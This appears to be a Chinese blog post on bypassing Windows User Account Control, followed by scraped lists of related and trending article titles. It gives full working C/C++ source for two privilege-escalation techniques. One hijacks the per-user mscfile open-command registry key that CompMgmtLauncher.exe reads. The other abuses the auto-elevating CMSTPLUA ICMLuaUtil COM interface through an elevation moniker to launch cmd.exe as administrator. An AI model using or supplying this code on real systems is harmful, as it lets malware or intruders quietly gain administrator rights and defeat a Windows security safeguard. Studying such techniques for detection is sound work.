ByPass UAC

  • 白名单程序 Bypass UAC

有些系统程序是直接获取管理员权限,而不触发UAC弹框的,这类程序称为白名单程序.例如, slui.exe、wusa.exe、taskmgr.exe、msra.exe、eudcedit.exe、eventvwr.exe、CompMgmtLauncher.exe等.这些 白名单程序可以通过DLL劫持、注入或是修改注册表执行命令的方式启动目标程序,实现Bypass UAC提权操作

利用CompMgmtLauncher.exe、该程序在启动时会查询注册表项"Software\classes\mscfile\shell\open\command"(msc后缀文件默认打开方式)、如果存在就会以管理员权限去执行该项默认程序。

#include <stdio.h>
#include    <windows.h>BOOL   SetReg(char *);int main()
{char *path = "c:\\windows\\system32\\cmd.exe";SetReg(path);
}
BOOL    SetReg(char *lpszExePath)
{HKEY hKey =   NULL;RegCreateKeyEx(HKEY_CURRENT_USER,"Software\\classes\\mscfile\\shell\\open\\command",0,NULL,0, KEY_WOW64_64KEY | KEY_ALL_ACCESS, NULL, &hKey, NULL);if (NULL == hKey){return FALSE;}RegSetValueEx(hKey, NULL, 0, REG_SZ, (BYTE *)lpszExePath, (1 + lstrlen(lpszExePath)));RegCloseKey(hKey);return TRUE;
}

  • COM组件接口 Bypass UAC

COM提升名称(COM Elevation Moniker)技术允许运行在用户账户控制下的应用程序用提升权限的方法来激活COM类,以提升COM接口权限.所以,基于ICMLuaUtil接口的Bypass UAC的实现原理是利用COM提升名称对 ICMLuaUtil接口提权,提权后通过调用ShellExec方法来创建指定进程,实现Bypass UAC操作.

//bypassUac.cpp
#include    <windows.h>
#include    <strsafe.h>
#include    "bypassUac.h"BOOL CMLuaUtilBypassUAC(LPWSTR );
HRESULT CoCreateInstanceAsAdmin(HWND , REFCLSID , REFIID , PVOID *);int main()
{LPWSTR path =L"c:\\windows\\system32\\cmd.exe";CMLuaUtilBypassUAC(path);
}BOOL CMLuaUtilBypassUAC(LPWSTR lpwszExecutable)
{HRESULT hr = 0;CLSID clsidICMLuaUtil = { 0 };IID iidICMLuaUtil = { 0 };ICMLuaUtil *CMLuaUtil = NULL;BOOL bRet = FALSE;do {CLSIDFromString(CLSID_CMSTPLUA, &clsidICMLuaUtil);IIDFromString(IID_ICMLuaUtil, &iidICMLuaUtil);hr = CoCreateInstanceAsAdmin(NULL, clsidICMLuaUtil, iidICMLuaUtil, (PVOID*)(&CMLuaUtil));//提升CMLuaUtilif (FAILED(hr)){break;}hr = CMLuaUtil->lpVtbl->ShellExec(CMLuaUtil, lpwszExecutable, NULL, NULL, 0, SW_SHOW);//CMLuaUtil提供的shellExec方法if (FAILED(hr)){break;}bRet = TRUE;}while(FALSE);if (CMLuaUtil) {CMLuaUtil->lpVtbl->Release(CMLuaUtil);}return bRet;
}
HRESULT CoCreateInstanceAsAdmin(HWND hWnd, REFCLSID rclsid, REFIID riid, PVOID *ppVoid)
{BIND_OPTS3 bo;WCHAR wszCLSID[MAX_PATH] = { 0 };WCHAR wszMonikerName[MAX_PATH] = { 0 };HRESULT hr = 0;CoInitialize(NULL);StringFromGUID2(rclsid, wszCLSID, STRSAFE_MAX_CCH);hr = StringCchPrintfW(wszMonikerName,STRSAFE_MAX_CCH, L"Elevation:Administrator!new:%s", wszCLSID);if (FAILED(hr)){return hr;}RtlZeroMemory(&bo, sizeof(bo));bo.cbStruct = sizeof(bo);bo.hwnd = hWnd;bo.dwClassContext = CLSCTX_LOCAL_SERVER;hr = CoGetObject(wszMonikerName, &bo, riid, ppVoid);return hr;
}
//bypassUac.h
#ifndef _BYPASS_UAC_H_
#define _BYPASS_UAC_H_#include <Windows.h>
#include <objbase.h>
#include <strsafe.h>/*自动提升 CMSTPLUA COM 接口*/
#define CLSID_CMSTPLUA                     L"{3E5FC7F9-9A51-4367-9063-A120244FBEC7}"
#define IID_ICMLuaUtil                     L"{6EDD6D74-C007-4E75-B76A-E5740995E24C}"
/*cmlua shellexec方法*/typedef interface ICMLuaUtil ICMLuaUtil;typedef struct ICMLuaUtilVtbl {BEGIN_INTERFACEHRESULT(STDMETHODCALLTYPE *QueryInterface)(__RPC__in ICMLuaUtil * This,__RPC__in REFIID riid,void **ppvObject);ULONG(STDMETHODCALLTYPE *AddRef)(__RPC__in ICMLuaUtil * This);ULONG(STDMETHODCALLTYPE *Release)(__RPC__in ICMLuaUtil * This);HRESULT(STDMETHODCALLTYPE *Method1)(__RPC__in ICMLuaUtil * This);HRESULT(STDMETHODCALLTYPE *Method2)(__RPC__in ICMLuaUtil * This);HRESULT(STDMETHODCALLTYPE *Method3)(__RPC__in ICMLuaUtil * This);HRESULT(STDMETHODCALLTYPE *Method4)(__RPC__in ICMLuaUtil * This);HRESULT(STDMETHODCALLTYPE *Method5)(__RPC__in ICMLuaUtil * This);HRESULT(STDMETHODCALLTYPE *Method6)(__RPC__in ICMLuaUtil * This);HRESULT(STDMETHODCALLTYPE *ShellExec)(__RPC__in ICMLuaUtil * This,_In_     LPCWSTR lpFile,_In_opt_  LPCTSTR lpParameters,_In_opt_  LPCTSTR lpDirectory,_In_      ULONG fMask,_In_      ULONG nShow);HRESULT(STDMETHODCALLTYPE *SetRegistryStringValue)(__RPC__in ICMLuaUtil * This,_In_      HKEY hKey,_In_opt_  LPCTSTR lpSubKey,_In_opt_  LPCTSTR lpValueName,_In_      LPCTSTR lpValueString);HRESULT(STDMETHODCALLTYPE *Method9)(__RPC__in ICMLuaUtil * This);HRESULT(STDMETHODCALLTYPE *Method10)(__RPC__in ICMLuaUtil * This);HRESULT(STDMETHODCALLTYPE *Method11)(__RPC__in ICMLuaUtil * This);HRESULT(STDMETHODCALLTYPE *Method12)(__RPC__in ICMLuaUtil * This);HRESULT(STDMETHODCALLTYPE *Method13)(__RPC__in ICMLuaUtil * This);HRESULT(STDMETHODCALLTYPE *Method14)(__RPC__in ICMLuaUtil * This);HRESULT(STDMETHODCALLTYPE *Method15)(__RPC__in ICMLuaUtil * This);HRESULT(STDMETHODCALLTYPE *Method16)(__RPC__in ICMLuaUtil * This);HRESULT(STDMETHODCALLTYPE *Method17)(__RPC__in ICMLuaUtil * This);HRESULT(STDMETHODCALLTYPE *Method18)(__RPC__in ICMLuaUtil * This);HRESULT(STDMETHODCALLTYPE *Method19)(__RPC__in ICMLuaUtil * This);HRESULT(STDMETHODCALLTYPE *Method20)(__RPC__in ICMLuaUtil * This);END_INTERFACE} *PICMLuaUtilVtbl;interface ICMLuaUtil
{CONST_VTBL struct ICMLuaUtilVtbl *lpVtbl;
};HRESULT CoCreateInstanceAsAdmin(HWND hWnd, REFCLSID rclsid, REFIID riid, PVOID *ppVoid);BOOL CMLuaUtilBypassUAC(LPWSTR lpwszExecutable);#endif

ByPass UAC相关推荐

  1. Bypass UAC 提权

    背景 UAC(User Account Control)是微软在 Windows Vista 以后版本引入的一种安全机制,通过 UAC,应用程序和任务可始终在非管理员帐户的安全上下文中运行,除非管理员 ...

  2. CobaltStrike使用-第五篇(Bypass UAC、CVE提权、Powerup提权)

    前四篇文章介绍了CS的基本使用方法和模块,以及钓鱼攻击的方法,本篇将会介绍使用CS进行提权操作 文章目录 权限提升 Bypass UAC CVE提权 PowerUp 凭证和哈希获取 Beacon 中的 ...

  3. 通过Bypass UAC进行权限提升

    什么是UAC 用户账户控制(User Account control,UAC)是windows系统采用的一种控制机制,可以阻止自动安装未经授权的应用 并防止意外更改系统设置,有助于防止恶意软件损坏计算 ...

  4. 断点运行的参数_利用 AicLaunchAdminProcess 参数污染 bypass UAC

    本文作者:x-encounter(信安之路作者团队成员 & 信安之路病毒分析小组组长) 成员招募:信安之路病毒分析小组寻找志同道合的朋友 之前花了一段时间研究 UACME 这个开源项目,获益匪 ...

  5. 浅谈UAC ByPass

    浅谈UAC ByPass 本文参考Bypass UAC 提权 兄弟们好久不见,最近没有更新还不是因为忙着面试!!! 在深思的面试过程中我遇到了一道笔试题,讲讲UAC 提权的原理,我....当然不会了, ...

  6. 权限提升 T1548.002 绕过UAC

    ​1. 什么是 UAC 用户帐户控制 (UAC) 是 Windows Vista 和 Windows Server 2008 开始引入的一种访问控制功能.借助 UAC,应用和任务将始终在非管理员帐户的 ...

  7. UAC 实现原理及绕过方法

    目录 0x00 UAC 工作流程 0x01 UAC 实现方法(用户登陆过程) 0x02 UAC 架构 0x03 触发UAC 0x04 UAC 虚拟化 0x05 UAC 逆向分析 1x00 UAC By ...

  8. Powershell 渗透测试工具-Nishang

    Powershell 渗透测试工具-Nishang 分享到: 作者:V1ct0r 稿费:500RMB(不服你也来投稿啊!) 投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿 传送门 ...

  9. PowerShell攻防进阶篇:nishang工具用法详解

    PowerShell攻防进阶篇:nishang工具用法详解 导语:nishang,PowerShell下并肩Empire,Powersploit的神器. 开始之前,先放出个下载地址! 下载地址:htt ...

最新文章

  1. C#让windows程序只运行一次
  2. 免费的容器架构可视化工具 | 阿里云应用高可用服务 AHAS 发布重大新特性
  3. YII2操作mongodb笔记(转)
  4. 计算机等级的有关知识,计算机等级二级基础知识.doc
  5. 一个flash网页图片播放器
  6. @RequestParam用法与@PathVariable用法的区别
  7. 聚簇索引与非聚簇索引的区别以及SQL Server查询优化技术
  8. nyoj 谁是最好的Coder
  9. 所有子模块都要执行的checkstyle检查
  10. cookie实现上次访问时间
  11. ABBYY FineReader添加盖章戳记
  12. DHTMLX.Suite.Pro 7.3.1
  13. 计算机论文外文翻译,计算机毕业论文外文文献译文.doc
  14. U盘格式化后容量变小了怎么恢复教程
  15. Matlab:添加和删除表行
  16. 【附代码实现】光流法大全(DeepFlow、DenseFlow、DisFlow、FbFlow、PCAFlow、SimpleFlow、TV_L1)
  17. UE5 Oculus Quest2 使用跨平台交互语音聊天Cross-Platform Voice Chat Pro制作语音聊天功能 1
  18. 微信小程序 语音录制功能和文件(ppt、word、excel、pdf、txt格式)上传
  19. fastapi中使用tortoise-orm(入门)
  20. 简单快速复制CSDN上的博客到自己的电脑上(带图片和格式)

热门文章

  1. 运行django代码报错ModuleNotFoundError: No module named 'myapp'如何解决
  2. 跟读 播放器 android,安卓手机英语学习利器 android 英语复读 跟读 练听力 练口语...
  3. 听YunOS“教父”王坚怎么说
  4. 【PTA~L1-080 乘法口诀数列】
  5. 心率检测实现报告(三)
  6. Jenkins 汉化
  7. 100个经典C语言程序(益智类)
  8. verilog语言实现全加器
  9. STM32应用(七)JY901九轴姿态模块(串口DMA空闲中断和I2C通信)
  10. [Processing]在画布上写文本